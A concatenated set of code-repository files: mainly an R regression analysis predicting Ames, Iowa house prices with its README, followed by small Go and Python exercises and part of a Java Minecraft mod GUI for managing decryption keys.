Wood.Deck.SF, BsmtFin.Type.1, Neighborhood_NoRidge, Mas.Vnr.Type_Stone, Open.Porch.SF, Paved.Drive, Central.Air_Y, Garage.Qual, X2nd.Flr.SF, Half.Bath, Roof.Style_Hip, Bsmt.Full.Bath, MS.Zoning_RM, Lot.Shape, Foundation_CBlock, Garage.Type_Detchd, Mas.Vnr.Type_None )) ncol(data) #we end up with 46 variables #-----------------------------------# # # # LASSO # # # #-----------------------------------# mfull <- lm(data$SalePrice ~ . ,data) n<-which(colnames(data)=="SalePrice") require(glmnet) X <- model.matrix(mfull)[,-n] lasso <- glmnet(X, data$SalePrice) plot(lasso, xvar = "lambda", label = T) #Use cross validation to find a reasonable value for lambda - 10-fold CV lasso1 <- cv.glmnet(X, data$SalePrice, alpha = 1) lasso1$lambda lasso1$lambda.min lasso1$lambda.1se plot(lasso1, cex.lab = 2, cex.axis = 2) coef(lasso1, s = "lambda.min") coef(lasso1, s = "lambda.1se") #keep lasso with 64 variables coefs <- as.matrix(coef(lasso1)) # convert to a matrix (618 by 1) ix <- which(abs(coefs[,1]) > 0) length(ix) coefs<-coefs[ix,1, drop=FALSE] coefs plot(lasso1$glmnet.fit, xvar = "lambda") abline(v=log(c(lasso1$lambda.min, lasso1$lambda.1se)), lty =2) #-----model with 25 variables of lasso--------- model<-lm(SalePrice~Overall.Qual+Gr.Liv.Area+Exter.Qual+Kitchen.Qual+ Total.Bsmt.SF+X1st.Flr.SF+Garage.Area+Bsmt.Qual+ Year.Built+Year.Remod.Add+Fireplace.Qu+Foundation_PConc+ Mas.Vnr.Area+Fireplaces+Heating.QC+BsmtFin.SF.1+Bsmt.Exposure+ Neighborhood_NridgHt+Lot.Frontage+Sale.Type_New+Sale.Condition_Partial+ Wood.Deck.SF+Neighborhood_NoRidge+Lot.Shape,data) #-----------------------------------# # # # STEPWISE # # # #-----------------------------------# step<-step(model, direction='both') #Stepwise #after stepwise model has left with 19 variables #--------------------------------------------------------------------# # Model1 - Initial variables # #--------------------------------------------------------------------# model1<-lm(SalePrice ~ Overall.Qual + Gr.Liv.Area + Exter.Qual + Kitchen.Qual + Total.Bsmt.SF + X1st.Flr.SF + Garage.Area + Year.Built + Foundation_PConc + Mas.Vnr.Area + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Neighborhood_NridgHt + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Neighborhood_NoRidge + Lot.Shape, data=data) options(scipen = 0) summary(model1) #------foundation.pcon not significant model1<-lm(SalePrice ~ Overall.Qual + Gr.Liv.Area + Exter.Qual + Kitchen.Qual + Total.Bsmt.SF + X1st.Flr.SF + Garage.Area + Year.Built + Mas.Vnr.Area + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Neighborhood_NridgHt + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Neighborhood_NoRidge + Lot.Shape, data=data) summary(model1) #exlude constant model1<-lm(SalePrice ~ -1 + Overall.Qual + Gr.Liv.Area + Exter.Qual + Kitchen.Qual + Total.Bsmt.SF + X1st.Flr.SF + Garage.Area + Year.Built + Mas.Vnr.Area + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Neighborhood_NridgHt + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Neighborhood_NoRidge + Lot.Shape, data=data) summary(model1) true.r2 <- 1-sum(model1$res^2)/((1500-1)*var(data$SalePrice)) true.r2 #radj lower so keep the constant #after stepwise the model left with 19 variables #--------------------------------------------# # Checking the assumptions of model1 # #--------------------------------------------# par(mfrow=c(2,2),pch=16,bty='l') # -------------------------------------------- # normality # -------------------------------------------- plot(model1,which=2,cex=1.5,col='blue',main="Normality Assumption") #normality is rejected # -------------------------------------------- # Homoscedasticity # -------------------------------------------- Stud.residuals <- rstudent(model1) yhat <- fitted(model1) plot(yhat, Stud.residuals, main="Homoscedasticity assumption") abline(h=c(-2,2),lty=2,col='red',lwd=2) plot(yhat, Stud.residuals^2) abline(h=4, col=2, lty=2,lwd=2) # ------------------ library(car) ncvTest(model1) # ------------------ yhat.quantiles<-cut(yhat, breaks=quantile(yhat, probs=seq(0,1,0.25)), dig.lab=6) table(yhat.quantiles) leveneTest(rstudent(model1)~yhat.quantiles) boxplot(rstudent(model1)~yhat.quantiles) # ------------------------------------------ # non linearity # ------------------------------------------ library(car) residualPlot(model1, type='rstudent', main="Linearity assumption") residualPlots(model1, plot=F, type = "rstudent") # ------------------------------------------ # Independence # ------------------------------------------ plot(rstudent(model1), type='l',main="Independence Assumption") library(randtests); runs.test(model1$res) library(car); durbinWatsonTest(model1) # ------------------------------------------ # multicollinearity # ------------------------------------------ library(car) vif(model1) alias(model1) #no collinearity problems # ------------------------------------------ #cook's distance plot(model1,pch=16,cex=2,col='blue',which=4) abline(h=4/5,col='red',lty=2,lwd=2) # ------------------------------------------ #----------------------------------------------------------------------------# # # # evaluate model1 # # # #----------------------------------------------------------------------------# require(caret) options(scipen = 0) #--------------------------------------------------------# # Leave one out cross validation - LOOCV # #--------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "LOOCV") # Train the model model1a <- train(SalePrice ~ Overall.Qual + Gr.Liv.Area + Exter.Qual + Kitchen.Qual + Total.Bsmt.SF + X1st.Flr.SF + Garage.Area + Year.Built + Mas.Vnr.Area + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Neighborhood_NridgHt + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Neighborhood_NoRidge + Lot.Shape, data=data, method = "lm", trControl = train.control) # Summarize the results print(model1a) #RMSE 27901.26 #--------------------------------------------------------# # 10-fold cross-validation # #--------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "cv", number = 10) # Train the model model1b <- train(SalePrice ~ Overall.Qual + Gr.Liv.Area + Exter.Qual + Kitchen.Qual + Total.Bsmt.SF + X1st.Flr.SF + Garage.Area + Year.Built + Mas.Vnr.Area + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Neighborhood_NridgHt + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Neighborhood_NoRidge + Lot.Shape, data=data, method = "lm",trControl = train.control) # Summarize the results print(model1b) #RMSE 27283.15 #--------------------------------------------------------------------# # Model2 - Log(SalePrice) # #--------------------------------------------------------------------# par(mfrow=c(1,2)) qqnorm(data$SalePrice, col="blue",main="SalePrice") qqline(data$SalePrice, lwd = 2) qqnorm(log(data$SalePrice), col="blue",main="Log(SalePrice)") qqline(log(data$SalePrice), lwd = 2) model2<-lm(log(SalePrice) ~ Overall.Qual + Gr.Liv.Area + Exter.Qual + Kitchen.Qual + Total.Bsmt.SF + X1st.Flr.SF + Garage.Area + Year.Built + Mas.Vnr.Area + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Neighborhood_NridgHt + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Neighborhood_NoRidge + Lot.Shape, data=data) summary(model2) #drop exter.qual, X1st.Flr.SF, mas.vnr.area,Neighborhood_NridgHt,Neighborhood_NoRidge model2<-lm(log(SalePrice) ~ Overall.Qual + Gr.Liv.Area + Kitchen.Qual + Total.Bsmt.SF + Garage.Area + Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=data) summary(model2) #-------------------------------------------------# # Checking the assumptions # #-------------------------------------------------# par(mfrow=c(2,2)) # ------------------------------------------------ # normality # ------------------------------------------------ plot(model2,which=2,cex=1.5,col='blue') #normality is rejected # ------------------------------------------------ # Homoscedasticity # ------------------------------------------------ Stud.residuals <- rstudent(model2) yhat <- fitted(model2) plot(yhat, Stud.residuals) abline(h=c(-2,2),lty=2,col='red',lwd=2) plot(yhat, Stud.residuals^2) abline(h=4, col=2, lty=2,lwd=2) # ------------------ library(car) ncvTest(model2) # ------------------ yhat.quantiles<-cut(yhat, breaks=quantile(yhat, probs=seq(0,1,0.25)), dig.lab=6) table(yhat.quantiles) leveneTest(rstudent(model2)~yhat.quantiles) boxplot(rstudent(model2)~yhat.quantiles) # ----------------------------------------------- # non linearity # ----------------------------------------------- library(car) residualPlot(model2, type='rstudent') residualPlots(model2, plot=F, type = "rstudent") # ----------------------------------------------- # Independence # ----------------------------------------------- plot(rstudent(model2), type='l') library(randtests); runs.test(model2$res) library(car); durbinWatsonTest(model2) # ----------------------------------------------- # multicollinearity # ----------------------------------------------- library(car) vif(model2) alias(model2) #no collinearity problems #------------------- #cook's distance plot(model2,pch=16,cex=2,col='blue',which=4) abline(h=4/5,col='red',lty=2,lwd=2) #-------------------------------------------------- #--------------------------------------------------------# # Leave one out cross validation - LOOCV # #--------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "LOOCV") # Train the model model2a <- train(log(SalePrice) ~ Overall.Qual + Gr.Liv.Area + Kitchen.Qual + Total.Bsmt.SF + Garage.Area + Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=data, method = "lm", trControl = train.control) # Summarize the results print(model2a) #RMSE 0.1457159 #--------------------------------------------------------# # 10-fold cross-validation # #--------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "cv", number = 10) # Train the model model2b <- train(log(SalePrice) ~ Overall.Qual + Gr.Liv.Area + Kitchen.Qual + Total.Bsmt.SF + Garage.Area + Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=data, method = "lm",trControl = train.control) # Summarize the results print(model2b) #RMSE 0.1420607 #--------------------------------------------------------------------# # Model3 # #--------------------------------------------------------------------# #--------------------------------------------------------# # Log and Polynomials # #--------------------------------------------------------# options(scipen = 0) data2<-data[-c(787),] model3<-lm(log(SalePrice) ~ poly(Overall.Qual,5)+ poly(Gr.Liv.Area,2)+ Kitchen.Qual + Total.Bsmt.SF + poly(Garage.Area,4)+ Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + poly(Lot.Frontage,3) + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=data2) summary(model3) # model with centered covariates #--------------------------------------------------------------------- data2centered <- as.data.frame(scale(data2, center = TRUE, scale = F)) data2centered$SalePrice<-data2$SalePrice model3centered<-lm(log(SalePrice) ~ poly(Overall.Qual,5)+ poly(Gr.Liv.Area,2)+ Kitchen.Qual + Total.Bsmt.SF + poly(Garage.Area,4)+ Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + poly(Lot.Frontage,3) + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=data2centered) summary(model3centered) #-------------------------------------------------# # Checking the assumptions # #-------------------------------------------------# par(mfrow=c(2,2)) # ------------------------------------------------ # normality # ------------------------------------------------ plot(model3,which=2,cex=1.5,col='blue', main="Normality Assumption") #normality is rejected # ------------------------------------------------ # Homoscedasticity # ------------------------------------------------ Stud.residuals <- rstudent(model3) yhat <- fitted(model3) plot(yhat, Stud.residuals,main="Homoscedasticity Assumption") abline(h=c(-2,2),lty=2,col='red',lwd=2) plot(yhat, Stud.residuals^2) abline(h=4, col=2, lty=2,lwd=2) # ------------------ library(car) ncvTest(model3) # ------------------ yhat.quantiles<-cut(yhat, breaks=quantile(yhat, probs=seq(0,1,0.25)), dig.lab=6) table(yhat.quantiles) leveneTest(rstudent(model3)~yhat.quantiles) boxplot(rstudent(model3)~yhat.quantiles) # ----------------------------------------------- # non linearity # ----------------------------------------------- library(car) residualPlot(model3, type='rstudent', main="Linearity Assumption") residualPlots(model3, plot=F, type = "rstudent") # ----------------------------------------------- # Independence # ----------------------------------------------- plot(rstudent(model3), type='l',main="Independence Assumption") library(randtests); runs.test(model3$res) library(car); durbinWatsonTest(model3) # ----------------------------------------------- # multicollinearity # ----------------------------------------------- library(car) vif(model3) alias(model3) #no collinearity problems # ----------------------------------------------- #cook's distance plot(model3,pch=16,cex=2,col='blue',which=4) abline(h=4/5,col='red',lty=2,lwd=2) #-------------------------------------------------- #--------------------------------------------------------# # Leave one out cross validation - LOOCV # #--------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "LOOCV") # Train the model model3a <- train(log(SalePrice) ~ poly(Overall.Qual,5)+ poly(Gr.Liv.Area,2)+ Kitchen.Qual + Total.Bsmt.SF + poly(Garage.Area,4)+ Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + poly(Lot.Frontage,3) + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=data2, method = "lm", trControl = train.control) # Summarize the results print(model3a) #RMSE 0.1356781 #--------------------------------------------------------# # 10-fold cross-validation # #--------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "cv", number = 10) # Train the model model3b <- train(log(SalePrice) ~ poly(Overall.Qual,5)+ poly(Gr.Liv.Area,2)+ Kitchen.Qual + Total.Bsmt.SF + poly(Garage.Area,4)+ Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + poly(Lot.Frontage,3) + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=data2, method = "lm",trControl = train.control) # Summarize the results print(model3b) #RMSE 0.1339403 #--------------------------------------------------------------# # TEST DATA FROM FILE # #--------------------------------------------------------------# setwd("C:/Users/Eva/Desktop/aueb/Statistics 1/Main Assignment Ntzoufras") testdata<-read.csv(file = "ames_iowa_housing_test.csv", header= TRUE, sep=";") #keep only the remaining variables after lasso testdata<-subset(testdata,select=c(SalePrice, Overall.Qual , Gr.Liv.Area , Exter.Qual , Kitchen.Qual , Total.Bsmt.SF , X1st.Flr.SF , Garage.Area , Year.Built , Foundation, Mas.Vnr.Area , Fireplaces , Heating.QC , BsmtFin.SF.1 , Bsmt.Exposure , Neighborhood , Lot.Frontage , Sale.Condition , Wood.Deck.SF, Lot.Shape)) #-----find missing values and define the correct type as train data #------------------------------------------------------------------------------- NAs <- which(colSums(is.na(testdata)) > 0) sort(colSums(sapply(testdata[NAs], is.na)), decreasing = TRUE) length(NAs) #6 variables have NAs #------------------------------------------------------------------------------- testdata$Bsmt.Exposure[is.na(testdata$Bsmt.Exposure)] <- 'NA' BsmtExposure <- c('NA'=0, 'No'=1, 'Mn'=2, 'Av'=3, 'Gd'=4) testdata$Bsmt.Exposure<-as.integer(revalue(testdata$Bsmt.Exposure, BsmtExposure)) table(testdata$Bsmt.Exposure) #------------------------------------------------------------------------------- for (i in 1:nrow(testdata)){ if(is.na(testdata$Lot.Frontage[i]==TRUE)){ testdata$Lot.Frontage[i] <- as.integer(median(testdata$Lot.Frontage[testdata$Neighborhood==testdata$Neighborhood[i]], na.rm=TRUE)) }} #------------------------------------------------------------------------------- testdata$Mas.Vnr.Area[is.na(testdata$Mas.Vnr.Area)] <-0 #------------------------------------------------------------------------------- testdata$Garage.Area[is.na(testdata$Garage.Area)]<-0 i<-which(is.na(testdata$Lot.Frontage)) require(modeest) testdata$Lot.Frontage[is.na(testdata$Lot.Frontage)] <- mlv(testdata$Lot.Frontage[-i], method = "mfv") #------------------------------------------------------------------------------- which(is.na(testdata)) #------------------------------------------------------------------------------- testdata$Sale.Condition <- as.factor(testdata$Sale.Condition) table(testdata$Sale.Condition) #------------------------------------------------------------------------------- ExterQual <- c('Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) testdata$Exter.Qual<-as.integer(revalue(testdata$Exter.Qual, ExterQual)) #------------------------------------------------------------------------------- kitchenqual <- c('Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) testdata$Kitchen.Qual<-as.integer(revalue(testdata$Kitchen.Qual, kitchenqual)) table(testdata$Kitchen.Qual) #------------------------------------------------------------------------------- HeatingQC <- c('Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) testdata$Heating.QC<-as.integer(revalue(testdata$Heating.QC, HeatingQC)) #------------------------------------------------------------------------------- Lot.Shape<-c('IR3'=0, 'IR2'=1, 'IR1'=2, 'Reg'=3) testdata$Lot.Shape<-as.integer(revalue(testdata$Lot.Shape,Lot.Shape )) table(testdata$Lot.Shape) #------------------------------------------------------------------------------- indextestdata <- (sapply(testdata, class) == "integer") |(sapply(testdata, class) == "numeric") datanumtestdata <- testdata[,indextestdata] datafacttestdata <- testdata[,!indextestdata] #------------------------------------------------------------------------------- # Create Dummies #------------------------------------------------------------------------------- require(fastDummies) datafacttestdata <- dummy_cols(datafacttestdata, remove_selected_columns = TRUE,remove_first_dummy = TRUE) colnames(datafacttestdata) sapply(datafacttestdata,as.numeric) testdata<-cbind(datanumtestdata,datafacttestdata) #------------------------------------------------------------------------------- #keep only those which included in model1 testdata<-subset(testdata,select=c(SalePrice, Overall.Qual , Gr.Liv.Area , Exter.Qual , Kitchen.Qual , Total.Bsmt.SF , X1st.Flr.SF , Garage.Area , Year.Built , Foundation_PConc , Mas.Vnr.Area , Fireplaces , Heating.QC , BsmtFin.SF.1 , Bsmt.Exposure , Neighborhood_NridgHt , Lot.Frontage , Sale.Condition_Partial , Wood.Deck.SF , Neighborhood_NoRidge , Lot.Shape)) require(caret) #----------------------------------------------------------------------------# # # # evaluate model1 # # # #----------------------------------------------------------------------------# options(scipen = 0) #--------------------------------------------------------------# # Leave one out cross validation - LOOCV # #--------------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "LOOCV") # Train the model model1aa <- train(SalePrice ~ Overall.Qual + Gr.Liv.Area + Exter.Qual + Kitchen.Qual + Total.Bsmt.SF + X1st.Flr.SF + Garage.Area + Year.Built + Mas.Vnr.Area + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Neighborhood_NridgHt + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Neighborhood_NoRidge + Lot.Shape, data=testdata, method = "lm", trControl = train.control) # Summarize the results print(model1aa) #RMSE 43684.65 #--------------------------------------------------------------# # 10-fold cross-validation # #--------------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "cv", number = 10) # Train the model model1bb <- train(SalePrice ~ Overall.Qual + Gr.Liv.Area + Exter.Qual + Kitchen.Qual + Total.Bsmt.SF + X1st.Flr.SF + Garage.Area + Year.Built + Mas.Vnr.Area + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Neighborhood_NridgHt + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Neighborhood_NoRidge + Lot.Shape, data=testdata, method = "lm",trControl = train.control) # Summarize the results print(model1bb) #RMSE 41080.06 #----------------------------------------------------------------------------# # # # evaluate model2 # # # #----------------------------------------------------------------------------# #--------------------------------------------------------------# # Leave one out cross validation - LOOCV # #--------------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "LOOCV") # Train the model model2aa <- train(log(SalePrice) ~ Overall.Qual + Gr.Liv.Area + Kitchen.Qual + Total.Bsmt.SF + Garage.Area + Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=testdata, method = "lm", trControl = train.control) # Summarize the results print(model2aa) #RMSE 0.2166 #--------------------------------------------------------------# # 10-fold cross-validation # #--------------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "cv", number = 10) # Train the model model2bb <- train(log(SalePrice) ~ Overall.Qual + Gr.Liv.Area + Kitchen.Qual + Total.Bsmt.SF + Garage.Area + Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + Lot.Frontage + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=testdata, method = "lm",trControl = train.control) # Summarize the results print(model2bb) #RMSE 0.2046978 #----------------------------------------------------------------------------# # # # evaluate model3 # # # #----------------------------------------------------------------------------# #--------------------------------------------------------------# # Leave one out cross validation - LOOCV # #--------------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "LOOCV") # Train the model model3aa <- train(log(SalePrice) ~ poly(Overall.Qual,5)+ poly(Gr.Liv.Area,2)+ Kitchen.Qual + Total.Bsmt.SF + poly(Garage.Area,4)+ Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + poly(Lot.Frontage,3) + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=testdata, method = "lm", trControl = train.control) # Summarize the results print(model3aa) #RMSE 0.1929567 #--------------------------------------------------------------# # 10-fold cross-validation # #--------------------------------------------------------------# set.seed(2822026) # Define training control train.control <- trainControl(method = "cv", number = 10) # Train the model model3bb <- train(log(SalePrice) ~ poly(Overall.Qual,5)+ poly(Gr.Liv.Area,2)+ Kitchen.Qual + Total.Bsmt.SF + poly(Garage.Area,4)+ Year.Built + Fireplaces + Heating.QC + BsmtFin.SF.1 + Bsmt.Exposure + poly(Lot.Frontage,3) + Sale.Condition_Partial + Wood.Deck.SF + Lot.Shape, data=testdata, method = "lm",trControl = train.control) # Summarize the results print(model3bb) #RMSE 0.1876193 Rsquared 0.7915076 <file_sep>/README.md ### Ames Iowa Dataset Predict Property Prices The data of this assignment refer to the database of the Ames City Assessor’s Office. It includes a large number of variables and observations within the data set and they refer to 2930 property sales that had occurred in Ames, Iowa between 2006 and 2010. A mix of 82 nominal, ordinal, continuous, and discrete variables were used in the calculation of the assessed values. The dataset included physical property measurements in addition to computation variables used in the city’s assessment process. All variables focus on the quality and quantity of many physical attributes of the property. Most of the variables are exactly the type of information that a typical home buyer would want to know about a potential property (e.g. When was it built? How big is the lot? How many feet of living space is in the dwelling? Is the basement finished? How many bathrooms are there?). For more details see at De Cock (2011). The main goal is to compare the predictive performance of multiple regression models and to identify the best model for predicting the prices of the properties. Data cleaning and variable transformation were mandatory as the data set includes many missing values with not well – specified variables. The multicollinearity was also a problem as many attributes were highly correlated. Before the creation of the multiple regression model, categorical variables were converted in dummies. Lasso was used in order to reduce the number of columns. Then, the first model according to AIC in the Stepwise procedure was estimated. At this point, we have to refer that only variables with correlation greater than the absolute value of 0.25 were kept. Based on various visualizations of the variables, we could detect some possible transformations of the response and predictor variables in order to face the violation of residual’s assumptions of the model. On the whole three models were estimated and based on Leave One Out and 10 – Fold cross validation methods we kept the model with the minimum RMSE. Finally, a test data set was used to assess the out – of – sample predictive ability of the model.
8d3208fc13fbd9f1d97ac9d1c2b2ed190bbe56df
[ "Markdown", "R" ]
2
R
euaarseniou/MscBA-Statistics1-Ames-Iowa-Dataset-Predict-Property-Prices
c8d3fb144cbf72bbd2ec45605b52236777e457f7
2b620bf148bdd265aeaa1e705f925005cda5ec7a
refs/heads/master
<file_sep>package main import "fmt" // HelloWorld to test go func HelloWorld() { fmt.Println("Hello World ;)") } <file_sep>package main import "fmt" // TypingEx is a typing example func TypingEx() { var x float64 x = 20.0 fmt.Println(x) fmt.Printf("x is typeof %T\n", x) } <file_sep>package main func main() { HelloWorld() TypingEx() }
580e75f25b72044271d6fe91463fea75f4d72c1e
[ "Go" ]
3
Go
vellama/rnd-golang
e4b08503d60d040c41dc400977483503073a4bc9
aad795a1e3b33c865dcc474367285b3a3cc4cde9
refs/heads/master
<file_sep>from itertools import permutations def Sol(l): res=[] for i in range(0,len(l)): p=permutations(l,len(l)-i) for j in p: s="" for k in j: s=s+str(k) res.append(int(s)) res.sort(reverse=True) for i in res: flag=0 if(i%3==0): return i flag=1 break if(flag==0): return 0 l=[1,3,1,4] print(Sol(l)) <file_sep># Google-Foobar Google Foobar solutions in python. <file_sep>def adder(lu): su=0 for i in lu: su+=i return su def solution(l,k): flag=0 for i in range(0,len(l)+1): for j in range(i+1,len(l)+i): if(adder(l[i:j])==k): flag=1 return [i,j-1] if(flag==0): return [-1,-1] l=list(map(int,input().split(','))) k=int(input()) print(solution(l,k))
1cc80d5297f2e5decc327b158f1d3ff9a785f9f5
[ "Markdown", "Python" ]
3
Python
snksam07/Google-Foobar
a8cf80d1037c591140d8da17f4152b374512ef5b
b06f89ed9de70924a9503b16f44b9e7becdf7c1a
refs/heads/master
<file_sep>package shadowjay1.forge.simplelocator.gui; import java.io.IOException; import org.lwjgl.input.Keyboard; import net.minecraft.client.gui.GuiButton; import net.minecraft.client.gui.GuiScreen; import net.minecraft.client.gui.GuiTextField; import shadowjay1.forge.simplelocator.LocatorSettings; import shadowjay1.forge.simplelocator.MemberList; import shadowjay1.forge.simplelocator.SimpleLocator; public class GuiAddKey extends GuiScreen { private String screenTitle = "Add decryption key"; private GuiScreen parent; private GuiTextField username; private GuiTextField passphrase; private String _username = null; private String _passphrase = null; public GuiAddKey(GuiScreen parent) { this.parent = parent; } public GuiAddKey(GuiScreen parent, String username, String passphrase) { this.parent = parent; this._username = username; this._passphrase = passphrase; } public void initGui() { Keyboard.enableRepeatEvents(true); username = new GuiTextField(this.width / 2, this.fontRendererObj, this.width / 2 - 100, this.height / 2 - 22, 200, 20); passphrase = new GuiTextField(this.width / 2, this.fontRendererObj, this.width / 2 - 100, this.height / 2 + 12, 200, 20); this.buttonList.add(new GuiButton(100, this.width / 2 - 100, this.height / 2 + 88, 200, 20, "Done")); if(_username != null && _passphrase != null) { username.setText(_username); passphrase.setText(_passphrase); } } public void onGuiClosed() { Keyboard.enableRepeatEvents(false); } protected void keyTyped(char par1, int par2) { if(this.username.isFocused()) { this.username.textboxKeyTyped(par1, par2); } if(this.passphrase.isFocused()) { this.passphrase.textboxKeyTyped(par1, par2); } if(par2 == Keyboard.KEY_TAB) { if(this.username.isFocused()) { this.username.setFocused(false); this.passphrase.setFocused(true); } else { this.username.setFocused(true); this.passphrase.setFocused(false); } } if(par2 == Keyboard.KEY_RETURN) { if(!username.getText().trim().isEmpty()) { if(this.passphrase.getText().trim().isEmpty()) { SimpleLocator.settings.getDecryptionPassphrases().remove(username.getText().trim()); SimpleLocator.networkThread.setDecryptPassword(username.getText().trim(), null); } else { SimpleLocator.settings.getDecryptionPassphrases().put(username.getText().trim(), this.passphrase.getText().trim()); SimpleLocator.networkThread.setDecryptPassword(username.getText().trim(), this.passphrase.getText().trim()); } } mc.displayGuiScreen(parent); } } public void updateScreen() { username.updateCursorCounter(); passphrase.updateCursorCounter(); } protected void actionPerformed(GuiButton par1GuiButton) { LocatorSettings settings = SimpleLocator.settings; if(par1GuiButton.enabled) { if(par1GuiButton.id == 100) { if(!username.getText().trim().isEmpty()) { if(this.passphrase.getText().trim().isEmpty()) { SimpleLocator.settings.getDecryptionPassphrases().remove(username.getText().trim()); SimpleLocator.networkThread.setDecryptPassword(username.getText().trim(), null); } else { SimpleLocator.settings.getDecryptionPassphrases().put(username.getText().trim(), this.passphrase.getText().trim()); SimpleLocator.networkThread.setDecryptPassword(username.getText().trim(), this.passphrase.getText().trim()); } } mc.displayGuiScreen(parent); } SimpleLocator.saveConfiguration(); } } protected void mouseClicked(int par1, int par2, int par3) throws IOException { super.mouseClicked(par1, par2, par3); this.username.mouseClicked(par1, par2, par3); this.passphrase.mouseClicked(par1, par2, par3); } public void drawScreen(int par1, int par2, float par3) { this.drawDefaultBackground(); this.username.drawTextBox(); this.passphrase.drawTextBox(); this.drawCenteredString(this.fontRendererObj, this.screenTitle, this.width / 2, 15, 16777215); this.drawString(this.fontRendererObj, "Username", this.width / 2 - 100, this.height / 2 - 32, 0xffffffff); this.drawString(this.fontRendererObj, "Password", this.width / 2 - 100, this.height / 2 + 2, 0xffffffff); super.drawScreen(par1, par2, par3); } } <file_sep>package shadowjay1.forge.simplelocator.gui; import net.minecraft.client.Minecraft; import net.minecraft.client.gui.FontRenderer; import net.minecraft.client.gui.GuiScreen; import net.minecraft.client.gui.GuiSlot; import net.minecraft.client.renderer.Tessellator; import net.minecraft.client.renderer.WorldRenderer; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; import shadowjay1.forge.simplelocator.SimpleLocator; import org.lwjgl.opengl.GL11; @SideOnly(Side.CLIENT) class GuiDecryptionKeysSlot extends GuiSlot { final GuiDecryptionKeys parentGui; private Minecraft minecraft; private FontRenderer fontRenderer; public GuiDecryptionKeysSlot(GuiDecryptionKeys par1GuiMultiplayer) { super(Minecraft.getMinecraft(), par1GuiMultiplayer.width, par1GuiMultiplayer.height, 32, par1GuiMultiplayer.height - 64, 16); this.parentGui = par1GuiMultiplayer; this.minecraft = Minecraft.getMinecraft(); this.fontRenderer = minecraft.fontRendererObj; } protected int getSize() { return SimpleLocator.settings.getDecryptionPassphrases().size(); } protected void elementClicked(int par1, boolean par2, int par3, int par4) { if (par1 < this.getSize()) { int j = GuiDecryptionKeys.getSelectedGroup(this.parentGui); GuiDecryptionKeys.getAndSetSelectedGroup(this.parentGui, par1); boolean flag1 = GuiDecryptionKeys.getSelectedGroup(this.parentGui) >= 0 && GuiDecryptionKeys.getSelectedGroup(this.parentGui) < this.getSize(); boolean flag2 = GuiDecryptionKeys.getSelectedGroup(this.parentGui) < this.getSize(); GuiDecryptionKeys.getButtonEdit(this.parentGui).enabled = flag2; GuiDecryptionKeys.getButtonDelete(this.parentGui).enabled = flag2; } } /** * returns true if the element passed in is currently selected */ protected boolean isSelected(int par1) { return par1 == GuiDecryptionKeys.getSelectedGroup(this.parentGui); } /** * return the height of the content being scrolled */ protected int getContentHeight() { return this.getSize() * this.slotHeight; } protected void drawBackground() { } protected void drawSlot(int par1, int par2, int par3, int par4, int par5, int par6) { if (par1 < this.getSize()) { String username = SimpleLocator.settings.getDecryptionPassphrases().keySet().toArray(new String[0])[par1]; 